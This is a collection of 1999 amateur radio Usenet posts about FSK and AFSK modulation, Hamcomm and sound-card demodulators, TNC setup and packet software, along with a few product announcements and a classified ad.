find that FM is also two different things... my head is swimming...
;-)

>In your example, assume that the audio frequency response of
>your transmitter's audio and modulator stages actually allow
>you to transmit at a rate of 1 Hz.

Perhaps my example was poorly chosen, as the low data rate seems to
have introduced a lot of complicating factors. Can you suggest a
real-world signal which uses "regular" FSK (as opposed to AFSK)?

>With direct FM, you would be moving the carrier signal
>+/- 8 KHz from center frequency at a 1 Hz rate, and
>the signal would look like a square wave. How well it
>looks like a square wave is still dependant on the
>audio frequency response of your audio and modulator
>stage in the transmitter.

So is recovering the original bitstream a simple matter of taking the
sign of the receiver's audio output (i.e. positive amplitude = 1,
negative amplitude = 0)? That sounds too easy to be true... ;-)

>hope some of this helps ..

Indeed it has, thanks!

Shiva,

Your confusion starts when you attempt to assign binary to the +/- 8KHz.
There isn't the way things work on FM. FSK are quite literally different
tones being carried on a standard carrier. If you hook a speaker up to the
output of the FKS generator, you'll hear the two tones, and this is exactly
what it should sound like on the output of the receiver.
If you were take your 1 hz pulse stream and move it up to alternating 1200
Hz and 2400 Hz streams, then you'd start to hear the FSK. The data is then
determined by which stream is present. Essentially what you are missing is
that the 1 Hz stream should drive two oscillators that then drive the
transmit frequency. It's like two levels of indirection, not one.

What you are describing is more like direct digital modultation, which
sounds simpler to implement, but when you get down to it, is a lot more
painful, especially when you consider that most receviers are built to carry
a bandpass limited analog signal and not a digital one.

If you're new to radio electronics, then just accept this part for fact. Get a TNC and play with it. You say that speed isn't much of an issue, but then mention that 10 Mbps as a neighborhood. You'll be lucky to get 9600 baud with whatever you are playing with. Moving to 1 Mbps and higher requires significant equipment, let alone bandwidth. Look for some of the wireless LAN cards to satisfy your needs if 1 Mbps is your neighborhood.

Otherwise, get happy with 1200 baud, which in reality translates to throughputs of less than 300 bits per second.

Hello , I have a VX-5 forsales. NEW CONDITION It's about 3 months old
a 9Dxxxxxx series ,and I have never had a problem with it.
It didn't do any hardware mods, I just use the Sofeware EVE to mods it. I'm
not use 6 meters at all since there has no 6M repeater.
and the main reason I selling it is I need the money for my school . It's
comes with radio,antenna, box ,manual , case(CSC-73), Rapid desk
charger(CD-15), Mic adapter(CT-44)and
the RS clip on belt clip. I don't want to give it up but
I need to pay by school for next year. I'm asking $349 + shipping.Thanks
you!! Victor iden1000@hotmail.com

Unless you are receiving A2A (an audio tone is keyed, which modulates
an ordinary AM transmitter, such as in maritime LF beacons) or F2A
(e.g. repeater ID), I do not understand what the problem is. For
ordinary A1A CW, just tune the CW/SSB receiver so that the tone
becomes 800 Hz.

Fellow Hams and Experimenters:

I have tried unsuccessfully to transmit audio from my computer through my Ts-570 by using the ACC#2 jack on the rear (pins 11/12). Has anyone been successful using the 570 on PSK?

I have used the same cabling to transmit audio with my old TS 830, so the audio coming from the computer up to the radio is good.

I can also successfully receive PSK with the 570. I am just having a hard time getting the thing to transmit with the audio going through the rear jack. I have not tried going directly to the mic input since I lack the parts for an attenuator at this time and my closest Radio Shack is 75 miles away.

Before I tear the 570 apart, I thought that I would inquire on the newsgroup.

Any help would be appreciated.

I guess it's just that the PK-232 is a little funky with tuning and
noise to get working good for CW. My advice would be to try more
stations, and tweak with the tuning and the threshold know some more--
that is if the little LED's are bouncing back and forth.

2984. WeFax '99 set to debut for Kantronics TNC's

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-01 00:00:00 UTC
From: Rick Ruhl <ricker@cssincorp.com>
Message-ID: <uusFXuBx#GA.121@cpmsnbbsa03>
Source record: 17640

WeFax ⊠99 for Windows 95, Windows 98 and Windows NT to debut.

New program available July 16th.

Muscle Shoals, Alabama. July 1, 1999 Creative Services Software announces WeFax ⊠99 , a new 32 bit Windows WeFax program for the Kantronics TNCs. It will be available July 16th, 1999.

The black and white weather facsimile charts , referred to as ⊠WEFAX⊠ by HF radio operators, have been transmitted by shore stations for years and received by commercial ships, yachts, and radio amateurs. This allows yachts, marine and weather observers to get images of current weather conditions where no telephone or television is available.

The program will take advantage of the WEFAX mode of the Kantronics line of TNC⊠s. It will allow the user to save the transmissions in .BMP (bitmap) format, print the transmission to any Windows printer, or email it via the Internet.

WeFax ⊠99 is written in robust C++ using the Microsoft Foundation Class library.

Creative Services Software is on the web at http://www.cssincorp.com and Wefax '99 can be pre-ordered by calling 256-381-6100 or emailing sales@cssincorp.com .

Introductory pricing will be $49.95 with free 1.x upgrades.

Cliff, et all:

We still have a GREAT relationship with Phil Anderson, Ken Baker and all the rest at Kantronics. They have been very supportive and helpful during the development of the product.

If you mean why they do not OEM Pacterm '98 anymore.Their focus is hardware and not software. This was a decision reached by myself and Phil back in February and was done as we both felt that was the best benifit for the end user.

We continue to work with them on a day to day basis, as we did today, as a matter of fact.

I guess I don't understand your comments. As you may know, CSS is an 8 person Software Development Company (of which 6 are hams) and our mission is to provide high quality software for all the TNC lines.

Rick Ruhl, N4GDO
President, Creative Services Software.

I am a new HAM and need Packet software to get started. I have a Commodore 64 (yea I know its outta date but I can't go out and buy ALL the stuff I need now and I can't use the "family" computer in the HAM shack). I know all you need is a terminal to connect to the TNC. I bought a used MFJ Multi-Mode TNC for $50.00 and have a new ADI two meter mobile transceiver. Still have to buy mast, cable, and antenna also the MFJ switch box to switch between packet and voice other connectors and odds and ends hardware.
Does anybody have the software I need to make the Commodore and MFJ work for packet? Also a book on packet protocol and general proceedures would be helpful. (The Commodore uses older 5 1/4" diskettes. Thanks from a newbie,
Andr&#65533; Landrum

Hmmm.. this is not the easiest combination to get working.
With a C64 you should have made or bought a "Digicom modem" (= the same
thing as what is now known as a "Baycom modem" but with a C64 interface
connector), and the associated "Digicom 64" software.
This is a turn-key packet solution for the C64.

TNCs are made to operate with a dumb terminal. Now, you need to make
a dumb terminal based on your C64, which requires extra hardware and
software, or you should find something else that you can use as a dumb
terminal. An RS232 cable from the shack to the family computer would do.

Next, find out where local packet activity is, and how far away the
stations (and digipeaters) you want to use are. The best solution always
is an omni antenna put up high enough to hear everyone in your local
area, but when you are in a remote area you may need to use a yagi.

>successful using the 570 on PSK?

Dear Jim,

I have reviewed all articles posted on the list-server
psk31@aintel.bi.ehu.es

for any mention of using the TS-570.

There was only one post and it referred to a problem with the PTT
keying line - no mention of the path used for transmit audio.

I recommend that you subscribe to the above list-server and post your
query on that forum. You will very likely find someone who can help.

I have used those two pins on ACC2 on the TS-450S, but I cannot say
whether or not the TS-570 has the same characteristics.

On the tTS-450 , it will not trigger the VOX in going that route - you
do need to key the rig separately. I have also found that going
through pins 11 & 12 require that you set the level with the
microphone gain control. I would have thought that the Mic gain
control would not be in the circuit but it is.

I need a manual or just some instruction on settings to operate my AEA PK-12. My computer will connect to it, but all I get
back is garbage. I cannot find my manual and I seem to remember that you could bring it up in different modes. It also
doesn't seem to have the autobaud routine because if I press the "enter key" several times I continue to get garbage back. I
have not used it in a year or so, but it did work well last time I had it on Thx for any help Ben

I don't want to get involved with the thread, except to say that the relationship between the two firms is interesting to one who wondered. Anyway, good luck with your software company and thanks for a good product with good support in pacterm 98.

I reckon I'll try Wefax also, just because its there. Probably be pretty slick.

Hi Terry

did you really use the IC706MKIIG ? And how far was your qso partner ?

Someone told me ICOM will bring the delay down to 200ms in the next
firmware revision, but this is still
not acceptable. The Icom 706MKII has no problems at all with the TX/RX
switching.

>
> Many thanks for your assistance.
>
> NOTE: SPAM shields at 100%, Captain!

My first guess would be that all you would hear are clicks in the speaker
twice
per second as the freq changed back and forth.
So I tried it and I heard a click in the speaker every .5 seconds :-)
Didn't bother to look at it with a CRO, but it should show a spike each time
your pulse train changes state.
If you made that pulse train into a 1 Hz sine wave you should end up
with a really loud 1Hz tone at you RX (if it had a DC audio response).
Even though it is swinging +- 8 kHz.

The basic difference.
FSK/SSB - Audio freq = RF freq + or - Audio freq. Loudness = amplitude
FM - Audio freq = Rate of +- RF freq change. Loudness = RF freq
+-

Maybe someone else can come up with something simpler. The
above works for me.

Another way of looking at it is to use your 8 kHz tone.
On SSB/FSK with a carrier freq of 14.2 MHz your tone would give you a
TX freq of 14.208 USB or 14.192 LSB.
On FM your TX freq would be centred on 14.2 going plus/minus at a
rate of 8kHz by an amount determined by the audio level. You would
also get a visit by the powers that be in most countries and abused
by stations operating a fair distance either side of you.

Had a look at the URL above and think you would get a better picture
(pun intended) by investing in a good book like the RSGB or ARRL
handbooks.

For something to do, I tried the above test the other way around.
+- 2.5kHz shift on an FM TX with a SSB RX. Sounded like FSK :-)
Note: that was a carrier shift not audio.

Disclaimer: No TX audio was harmed or used in the above experiments.

2999. List of the rec.radio newsgroups

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-02 00:00:00 UTC
From: jeffreyh@Hawaii.Edu
Message-ID: <7lh8al$pi8@news.Hawaii.Edu>
Source record: 17647
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.dx

Archive-name: radio/personal-brief-introduction

In an effort help ensure a poster's article reaches the appropriate audience, below is a list of the rec.radio newsgroups. In most cases, a group's name will explain its purpose. Cross-posting should rarely be necessary.

rec.radio.broadcasting (devoted to the broadcast industry; moderated)
rec.radio.cb
rec.radio.info (periodic informational bulletins; moderated)
rec.radio.scanner
rec.radio.shortwave
rec.radio.swap (for buying, selling, and trading; not a discussion group)

rec.radio.amateur.antenna
rec.radio.amateur.boatanchors (tube-type communications equipment)
rec.radio.amateur.digital.misc (packet, pactor and other digital modes)
rec.radio.amateur.dx (long-distance amateur communications)
rec.radio.amateur.equipment (questions, comments regarding commercially-built amateur gear; not for buying/selling)
rec.radio.amateur.homebrew (devoted to home-building ham gear)
rec.radio.amateur.policy (issues include code, restructuring, local restrictions in conflict with FCC R&R)
rec.radio.amateur.space (satellites, meteor scatter, EME)
rec.radio.amateur.misc (any topic not covered in the above groups)

(At least two other English language radio hierarchies exist, prefixed with "uk" (United Kingdom), and "aus" (Australia), in place of "rec.")

Again, cross-posting should rarely be necessary. Many times, a long-running thread results from a single cross-posted article, and the contents of such a thread drift further and further away from being "on-topic" in the various NGs that receive each and every followup.

For more detailed information, see "Guide to the Rec.radio Newsgroups" posted on the 15th of each month.

It depends which mfj tnc you will be using. If its the
MFJ 1271 then you need the DIGICOM software which is
DC64V5. I think you will be using the c64. The software
comes in both 64 and 128 versions and is free on many
of the websites such as videocam.net.au, also
funet.fi and others. If you cant find it, let me know
and will send it as an attached file to email.

Through out may 12 years as a cb operator licensed and pirate I have found
alot more hams on 11 mtrs than CBers on ham bands....so who causes the
interferance!!!!!!!
Its quite difficult for a 40 or 80 channel CB rig to go on to 10 20 meters
etc but a amature radio needs a snip of a wire....
If only I had reported the 10 or 15 close friends that were hams operating
on 11 meters.
Perhaps it would be a better world.....and myself a better person!!!!

Still BO******* to that, I don,t want to be one of them......

> Thx for any help Ben

Hello Ben:

You can get a new PK-12 manual from Timewave technology for $14.95 plus
$5.S/H.

John can tryy resetting the PK-12 by pulling JP-1 and turning the PK-12 on and
off again, then wait a couple of minutes. This puts the unit into autobaud
mode. Then send an * to get the PK-12's attention. After you have established
communication between the PK-12 and the PC, the unit will remember your
settings can come up in that mode.

If you are running WIN95/98/NT download the demo version of PK TERM 99 from
http://www.timewave.com. The demo version runs VHF and that will let you get
the TNC on the air. Let me know if I can help.

Well, packet is HDLC. It doesn't assign any significance to mark or space,
only the transition between one and the other. Those occur at a maximum
of 1200 times a second for 1200 baud, so any mark or space would be 1/600th
of a second, or longer.

I've been researching the Hamcomm Data Slicer FSK demodulator in its various forms. All of the web pages I've seen so far merely provide schematics and tell you to hook it up to your serial port, but don't describe precisely what it DOES.

My guess is that it converts the sinusoidal audio waveform coming out of the discriminator tap into a baseband square wave - anything on the positive side of 0 in the audio waveform becomes a '1', everything else becomes a '0'. The serial port is configured to generate interrupts to the CPU when this demodulated signal chages state, and a VxD driver notes the times of these changes and passes the resulting binary digit stream up to the application for further processing.

If my interpretation is correct, could not the same result be achieved by sampling the discriminator output with a sound card and converting each sample into either a '1' or a '0' by comparing it with 0, i.e.

```
if (sample > 0)
output = 1;
else
output = 0;
```

If the sound crd's sampling rate were set high enough (i.e. higher than the Nyquist rate), the output would be an equivalent series of binary digits which could be processed in much the same way as the output of a data slicer.

Is this about right, or am I way off base here?

Please:

Is there some kind soul out there that owns a Kenwood IF10B interface module and is willing to share some information ?

I have been unable to locate an IF10B module (the part of the computer interface that fits inside the TS940S) and have come to the conclusion, after many hours of research, that finding one will be next to impossible.

At this point the best option appears to be the construction of a "replacement" module for the IF10B. To facilitate construction of a replacement module the following information is necessary:

Schematic of the IF10B.
Source Code for the Eprom.
Pictures or direct scans of the Kenwood printed circuit board.

I plan to use cad and photoresist to duplicate the "daughter" board giving me the ability to help others once a successful replacement has been verified.

Any information that you can supply would be greatly appreciated.

Thank you and 73
Larry KA9GCI

3009. Will the FT-847 work on HF PACTOR?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-03 00:00:00 UTC
From: flanders@groupz.net
Message-ID: <377e7f3c.34375925@nntp.groupz.net>

Anybody using the Yaesu FT-847 on HF PACTOR?

I am thinking of getting one as a station satellite rig, but a secondary use will be in the camper for PACTOR email via 20 meter winlink (with a PK-232). As I remember, the FT-847 is not really optimized for fast TX-RX turnaround (no QSK, right?).

So - I am wondering what to expect on HF PACTOR.

Comments from FT-847 users?

The interface is a simple op amp circuit. It takes the low voltage signal and converte it to the rs-232 levels. Not all signals are sinusoidal audio waves, but almost square waves and they are not really audio as such. While you will hear them as audio, by the time they pass tthe audio circuits they are so distorted from the origional signal they are useless for decoding.

If I don't sound too negative, let me add that you are going to find that it is very, very difficult to find any system - software and/or hardware - that can do a very good job reading Morse code on HF. Code reception works great with human wetware to do the processing - work through messy sending, poor timing, noise, QRM, etc. etc. - but is a real bear to do with other processes.

As Cliff says, when you tune your receiver for max activity with the tuning LEDs or max activity on a scope, that is about the best you are going to do. The filters in the 232 are centered on 800 Hz - they can be moved but not easily. Simply tune your receiver for an 800 Hz beatnote - that will produce max activity of the LEDs.

Let's assume that you are 100% correct in your assumptions about the
Hamcomm interface device and that you are also 100 % correct about how
the operating system and the applications programs obtain what they
want/need from the serial port.

If that is true, then I can tell you what the difference is between
that and the sound card.

1) The sound card only generates an interrupt when the buffer that you
gave it to be filled up with data is full. That right away can reduce
the interrupts by 2 or 3 orders of magnitude (and introduce

corresponding amounts of latency).

2) The sound card provides an extremely accuate A/D conversion of the data on an extremely accurate and stable clock rate - omething that is unknown to Hamcomm.

So, it depends on what you want to do with the data. Obviously, if you need the phase information, you aren't going to get it from Hamcomm - but then, except for PSK31 and FSK31, what modes need the phase information - certainly not WX FAX, RTTY, CW.

Does all that sound right/ - no pun intended.

Yeah, this all makes 100% sense to me. I would think for the reasons
you've stated that soundmodems ought to work better than a Hamcomm style
interface. The only issue then, is how mature are the soundmodem drivers
at this point. And my impression so far, at least from the Linux perspective,
is that the soundmodems are little bit more finnicky about what hardware
you have. That is using not-quite Sound Blaster compatible modems tend
to not work. Whereas everyone has a compatible serial port to plug a
Hamcommboard into.

>square wave? Or does more need to be done to recover the original
>pulse train?

It'll sound like a click every 0.5 second through the speaker. On a
scope tapped directly on the discriminator, it'll be a square wave
at the 1 Hz rate. That's not what you'd get at the speaker, however,
because the audio amp is AC coupled and doesn't have a response
down to that low a frequency. The squarewave is differentiated
by the AC coupling, and all you hear is a click at each transition.

This assumes the FM transmitter is true FM and is fed DC coupled to
the modulator. Inputting a 1 Hz signal at the mic connector would probably
only give you differentiated pulses at the modulator too, because the mic
amp would be AC coupled. If the transmitter is actually PM, then you'd also
only get differentiated pulses as the output, even if you fed the modulator
directly (lots of ham rigs are really PM instead of FM).

This is direct baseband modulation, of course. Typically, however,
you use an AFSK audio tone to modulate the transmitter. This tone
is pitch shifted (FSK) by the baseband signal so you'd get say a
1200 Hz tone for half a second then a 2200 Hz tone for half a second,
etc.

If you feed that to a SSB transmitter, you'll get the equivalent of an FSK
signal with a shift of 1000 Hz. But if you feed it to a FM transmitter, you'll
get a tone modulated FM signal, not FSK. It will be double modulated,
first as a FSK audio tone, then as a tone modulated FM signal. To do FSK

with an FM transmitter, you need to drive the FM modulator directly with the DC coupled baseband signal. The FM transmitter is then set for the deviation needed to give the shift you want. To duplicate the shift you'd get with the SSB transmitter in the example cited, you'd set deviation to 1 kHz. The two signals would then be indistinguishable over the air.

In other words, feeding direct DC coupled baseband into an FM transmitter *is* direct FSK. You can get functionally the same thing by feeding an AFSK signal to a SSB transmitter. But when you feed AFSK to a FM transmitter, you don't get FSK. You get ordinary audio FM that happens to have a tone which is being frequency shifted as the audio.

>
>Is this about right, or am I way off base here?

You're off base. The interface is simply an opamp used as a limiter.
Its output slews rail to rail at the signal zero crossing. This is fed
to a status pin on a serial or parallel port. The software reads that
status and counts zero crossings to determine the tone frequency.
A mark is one frequency, a space is another frequency, so the difference
in counts over a fixed interval is used to determine mark or space. (The
fixed interval is generated using a serial port in an unusual way to give
interrupts at the baud rate.)

These mark and space decisions are then sent to another routine which
frames them into a data stream of 1s and 0s, which are then framed
as HDLC frames by another routine, and are then processed by the

AX25 driver. Or in the case of RTTY, the 1s and 0s are framed into async characters and passed to a Baudot to ASCII routine. Or in the case of FAX/SSTV, the tone frequency counts are converted to grayscale values and displayed as a picture.

When a sound card is used, the audio is A/D converted, the samples are run through a Fourier transform from the time domain to the frequency domain, the samples are binned and compared to determine which frequency has the highest energy at the moment. One frequency is assigned as mark, the other as space. The one with the highest energy is declared valid at that moment. Then the marks and spaces are processed as outlined above.

The advantage of the sound card is that digital filtering can be used on the frequency domain data prior to making the mark/space determination to improve the effective SNR. That's not possible for the zero crossing counter. Another advantage of the sound card approach is that the interrupt load is reduced. There is only one interrupt per buffer full of audio samples (typically 1024 samples). This works better when the operating system suffers variable interrupt latency, IE when Windoze is used as the operating system. The zero crossing counters need much closer realtime capability, and generally only work correctly under a deterministic OS such as DOS, or one with a deterministic scheduler such as Linux.

First, let me say that it is difficult to add anything at all to the excellent remarks from Gary Coffman. However, I don't think Gary had yet seen your implied question about the maturity of the "soundmodem" drivers.

Allow me to describe what little I know about the MMSYSTEM.DLL which is the Windows System API's for Multimedia used for the Multimedia devices, such as the WAVE, MIDI, JOYSTICK, etc., family of devices.

This dll was originally introduced with Windows 3.1 as a 61kB file dated 3/10/92 and was given a new date time code with Windows 3.11, but I think it otherwise, the same file.

In Windows 95 it was re-introduced as a larger file (101kB) with a date of 7/11/95.

In Windows 98, it was re-introduced as a slightly larger file (108 kB) with a date of 5/11/98. The interesting thing about the Windows 9x versions of MMSYSTEM.DLL is that its header information indicates that it is still 16 bit software. Not only was in not upgraded to 32 bits in Windows 95, but it is still 16 bits in Windows 98 - according to Microsoft's own header information.

The actual, low level driver code that Windows uses to communicate with the sound cards consists of a rather large group of files, predominantly the products of the sound card manufacturer. For example, if you are using the Creative Labs 16 bit PnP card from the Model 4170 series, you will see over a dozen files referenced for the drivers, including such files as SB16SND.DRV.

So, in summary, the "drivers" for the sound cards are an extremely complex issue and their maturity is simply another layer of confusion. However, I think that for those applications that use the sound card primarily as A/D and D/A converters being driven by audio signals or

producing audio signal using the "wave" device, can reasonably assume the "drivers" to be as mature as any of the "drivers" in use for any of the peripheral devices on a PC. Note that I am ignoring any reference to the Direct X capabilities of either Windows or the sound cards, because those capabilities are being completely ignored in any of the applications that I know of relevant to amateur radio communications modes.

I don't actually see much additional confusion within Linux, although I don't think the Red Hat Linux 5.0 or 5.1 versions did a very good job with sound card drivers in comparison to Windows 9x. (I was never able to get my sound card to work as well in RH Linux as it does in Windows).

The central problem, in my opinion, is the way developers write their applications. For example, it is not uncommon to see applications code that does not take advantage of all of the API features that are available. Some developers simply take the view that the sound card must support a certain sampling rate, have a certain number of channels, etc., and if it does not meet that criteria, KaBoom, exit to the operating system. The API provides a rather extensive set of functions that allow you to query the system about the sound card. If the applications program chooses not to give you meaningful error messages about what it finds, that's the fault of the developer - not the "drivers".

The sound card manufacturers also instituted a practice back in the DOS world that is still the bane of many sound applications, and that is the environment variable called "blaster" and more recently one called "sb16". In my own experience it has become more and more difficult to get a given sound card to play on a given computer when you expect it to work in DOS, Windows 3.1 and Windows 9x with a variety of different applications. I have good examples of programs that will work in Windows 98 but not in DOS, Windows95 nor Win 3.x. That's sad, but the manufacturers and the Operating System vendors do not really seem to care about staying compatible with legacy operating systems and legacy applications.

Press Release: Logger Ver. 6.07 Now Available
==========

Looking for a great Windows logging program ?

It's here! LOGGER is a program written by Bob Furzer,
K4CY (ex N6BFM, 9K2ZZ) and has more features than
the average ham will ever use, including:

Easy to use logging
Radio control
DX cluster access (Telnet or TNC)
One click grabbing of cluster spots
Easy Awards tracking (DXCC, WAS, WAZ, IOTA)
Graphical display of Grayline
Database for managing Skeds
Handy conversion calculator (F to C, etc)
GOLIST QSL database interface
Support for current ham CD ROMS
Graphical Satellite tracking display
PSK-31 interface for your sound card
Data Window to drive a TNC in RTTY or data mode
Easy backup and log printing
Completely ADIF compatible (import & export)
Keyer interface for TNC CW keying
Quick STATS display of DXCC and WAZ stats
Easy User maintenance of DXCC and Prefix data

Plus a bunch more....

LOGGER is designed so that the user can easily update
DXCC lists, PREFIX lists, and set up their own band plan
and modes. No waiting for someone to customize this
program for you, you can do it yourself. No worrying
about a new DXCC database being available if a new
country comes along, with a few clicks you add it to
your database. And no worrying about being 'stuck' with
one logging program - LOGGER supports full ADIF
imports AND exports, so you can easily transport your
log data to and from any other program that is ADIF
compliant.

The great news is that Logger is absolutely FREE !!

If you'd like to try Logger, you can download a copy
today. Visit the following website:

http://www.guam.net/pub/midxa/

and click the big red LOGGER on the main page,
which will take you to a page with information about
LOGGER, screen shots, and information on how to
download the program.

LOGGER is unique in the fact that not only is the author
supporting the program, but other users are supporting
it too. There is an email list for LOGGER users, and
you'll find a subscription box on the LOGGER web page.

Help is available should you wish to convert your current
logs to ADIF format and import them to LOGGER.

LOGGER is a program that will satify the needs of
casual operators or serious DX'ers. Plus the author is very
willing to work with users making changes, modifications,
and new features available.

And the price just has to make you smile.......

Enjoy.

From: "Larry G. Gouliard, Jr" <ka9gci@ntslink.net>
Message-ID: <377FA08F.D1F5A80B@ntslink.net>
Source record: 17532

Please:

Is there some kind soul out there that owns a Kenwood IF10B interface module and is willing to share some information ?

I have been unable to locate an IF10B module (the part of the computer interface that fits inside the TS940S) and have come to the conclusion, after many hours of research, that finding one will be next to impossible.

At this point the best option appears to be the construction of a "replacement" module for the IF10B. To facilitate construction of a replacement module the following information is necessary:

Schematic of the IF10B.
Source Code for the Eprom.
Pictures or direct scans of the Kenwood printed circuit board.

I plan to use cad and photoresist to duplicate the "daughter" board giving me the ability to help others once a successful replacement has been verified.

Any information that you can supply would be greatly appreciated.

Thank you and 73
Larry KA9GCI

3027. Q. Theta 9000E rtty unit

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-04 00:00:00 UTC
From: Barry Smith <baz@g4iat.demon.co.uk>
Message-ID: <ant0421321cbnGS$@g4iat.demon.co.uk>
Source record: 17533

I've seen a (Drake) Theta 9000E for sale and was considering
buying it.

I found most of the technical info on the 'Drake Museum' website -
http://www.dproducts.be/drake_museum/

Does anyone have experience of this unit ?
I understand the RS232 input/output is only active for ASCII and not
for the RTTY or CW modes.

What I'm trying to achieve is a cross between this dedicated unit and
a PC, by having the facility to save to disk the Theta's memory.

Any advice ?
TIA
Barry

My take on the ax25 soundmodem stuff in Linux, is that it doesn't
use the Linux sound card code at all, but accesses the hardware
directly -- as you need to tell the soundmodem itself where the sound
card is and what kind you have. It says in the manual that it has
trouble living alongside the Linux sound drivers, as a matter of
fact. This is as of Redhat 6.0. My advice, and this is just from having
spent a few days banging on this thing, is that the best way to
go is to go out and find and old genuine Creative Labs sound card,
with the jumpers. Either a Sound Blaster or a SB Pro. The manual
says something about SB16's having trouble at 9600 baud -- and I suspect
this has something to do with the tone adjustment functions of the
card gumming up the signals.

Me, I haven't really figured out all of how Plug and Play and Linux
act together -- err, at least it all seems screwy. With Linux, I've
come accustomed to use ultra-generic hardware, with dip switches.
Me, I don't usually bother with X anyway so I don't have much need for sound
anyway on these machines.

My impression, is that the soundmodem code is kind of a 'toy' --
and that the people who are more deep into this stuff are all
running other hardware -- which I'm not familiar with.

Still, I would also say that the ax25 in the Linux kernel, to me,
has a kind of aesthetic appeal. That there's a potential here
for a single programming interface for all the AX25 stuff on
Linux, and that then coming up with new applications
should be hugely simplified on Linux, once all this is a little
more together. It seems to me, at least on the server side,
this is the way to go. Especially for me, as a programmer,
where I might want to bang out some cute little app, and don't
really want to hassle with figuring out all the underlying
junk.

> the "drivers".

Well, I'm not familiar with the Win95 side of ax25 sound code, but I have, as a
game programmer, done some pounding on sound cards in DOS and Win98 for
commercial games. And, I'd say, that as a single programmer, without
a testing lab -- or at least a good stack of cards, it's a little tricky
to get it all together. It's not just a matter of programming carefulness
or 'using the API' but more the fact that if you run on different sound
cards with different underlying hardware, weird stuff just happens. Especially
on the Microsoft platforms, which tend to have a huge variety of intesting
options -- but then some of them don't work -- some work better than other.
Some are half-implemented or have bugs. Really, it's more of a hacking
style environment, where you read the manual, do the best you can, then
buy a big stack of sound cards and test all of them -- and poke at the options
until they all work. That said, lately, sound has been mostly a no-hassle
thing, using the DirectSound code. And, the card that doesn't work is
the exception rather than the rule.

By "slews rail to rail" do you mean that while the input waveform is
above the zero line the parallel/serial port status bit will see a
'1', and that the portion of the input waveform below zero will result
in the status bit being cleared to '0'?

Or, in cheesy ASCII graphics:

An audio waveform looking like this:

```
*
* *
* *
* *
* *
*-------------------*---------------------*----
* *
* *
* *
* *
***
```

would appear on the input status line of the parallel/serial port
looking like this:

```
********************
*
*
*
*
---------------------- ******************
```

Right?

Source record: 17537

NO, it is not safe. With FSK you are not really receiving those tones. You are receiving two frequencies that differ by 1200 Hz. When you use a ssb receiver, you can tune so that any combination will come out of the audio. YOu could just as easy use audio filters of 1500 and 500 hz. This is the same 1000 hz differance. When a single audio tone is put into a ssb transmitter, you get a single radio frequency out. Then when the tone is changed to another frequency, you get another single rf out seperated by the differance in the tones. In other words, if i send a tone pair of 1000 and 2000 hz or if i send a pair of 1500 and 2500 tones out, the station on the receiving end will not be able to tell which pair I am using juat that the fsk is 1000 hz.

Provided the transmitter is working correctly, there is no detectable differance if audio tones are fed into the microphone input of a ssb transmitter is used or if a transmitter frequency is directly shifted.

email me at my work address:
<patricia.gibbons@ci.sj.ca.us>

We have a Harris RF3200 in our commcenter
with the manuals.. I've programmed it some
time ago and ours is set up with the
full-frequency option enabled..

Let me know what modes you have questions about..

3033. CSVHFS Petition for Rulemaking

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-05 00:00:00 UTC
From: tjs@garnet.tc.umn.edu
Message-ID: <7lr9ns$71c$1@garnet.tc.umn.edu>
Source record: 17448

The Central States VHF Society has submitted a petition for rulemaking to the FCC that may be of interest to readers. The proposed rule changes are nominally intended to protect weak signal work in the VHF and UHF amateur bands. Unfortunately, as written, the proposed changes appear to have a significant adverse effect on packet operations on the VHF and UHF bands. The relevant documents can be found at:

http://www.umn.edu/home/tjs/CSVHFS.html

An extended discussion of the petition can be found on the TAPR APRS mail group, and probably lots of other places.

I'm pretty sure you're talking about FlexNet. Here's the URL:

http://www.afthd.tu-darmstadt.de/~flexnet/

There is additional information and a number of articles containing setup
info etc at my URL, listed below. Just push the "FlexNet" button there.

In particular, read "TCPIP on FlexNet - Just Another Layer" , by DK7WJ.

Yes, up until just recently, I thought this was the *only* way to do FSK. ;-)

So is it safe to say that an FSK scheme described as having a mark frequency of 2200 Hz and a space frequency of 1200 Hz is Audio Frequency Shift Keying, and that a different FSK scheme described as having a +/- 8kHz shift about the nominal carrier frequency is "direct" Frequency Shift Keying? You mentioned in your other post that the former can be demodulated using a pair of matched filters, one with a passband centered at the mark frequency and the other centered at the space frequency. Is the same true for a direct FSK signal? If so, what frequencies would the filters be designed to pass? If not, what technique(s) can be used to demodulate the signal?

Thanks again for all your help!

I set up a PnP card in my Linux box once. Basically, instead of
setting DIP switches and jumpers, you set the necessary parameters in
a config file somewhere. Not much difference. ;-) The whole automatic
resource negotiation aspect of PnP is missing, which is just fine by
me. Once you've decided what I/O port addresses, memory ranges, IRQs,
etc. the card will use, the rest of the system treats it just as if it
were configured using jumpers.

Here's an example of some modem code which is beyond the toy stage:

http://people.qualcomm.com/karn/dsp.html

The part that fascinates me about all this is that there seems to be a
heck of a lot of potential to use a computer and a sound card to
augment a radio for some really cool stuff; it'll only take someone
with sufficient DSP programming skills to unlock it.

Yeah, though I wouldn't call the levels 1 and 0. It is more like
"out of paper" or "paper Ok" or "DSR ready" or "DSR not ready".
In other words, the opamp output is banging a status pin on a
parallel or serial port. This is *not* baseband data, it merely
signals that a zero crossing in the input audio has occurred.
The software counts zero crossings to determine what frequency
the audio is, and *then* decides whether it is hearing a mark tone
or a space tone.

It is unfortunate, however, that the AX.25 engine is of poor quality.
It is too loosely coupled to the transmitting hardware, hence it has
the problems wellknown from using a KISS TNC.

Hopefully, a decent AX.25 engine (i.e. one that knows what is actually
going on on the channel and does not queue frames "eligible for transmit
should the channel become clear") will be introduced.

>having a +/- 8kHz shift about the nominal carrier frequency is
>"direct" Frequency Shift Keying?

It isn't quite safe to say that (nor legal on the low bands to use such
a wide shift). It depends on the sorts of transmitters and receivers
you're using. If you feed an AFSK signal into a SSB transmitter, you'll
get exactly the same thing as a FSK transmitter modulated by baseband
and using the same shift between the tones. There's no way to tell which
way the signal was generated. In a very real sense, the SSB transmitter
with tone generator is just serving as a heterodyne FSK transmitter with
the FSK performed at a very low IF, ie at audio. This is real FSK.

When you tune such a signal with a SSB receiver, you get two
audio tones out of the speaker (one at a time, of course), separated
in frequency by the shift. The tones can be anything, depending on
how you tune the receiver. They can be 1200-2200, or 500-1500, or
750-1750, etc. It all depends on how you tune the receiver. In other
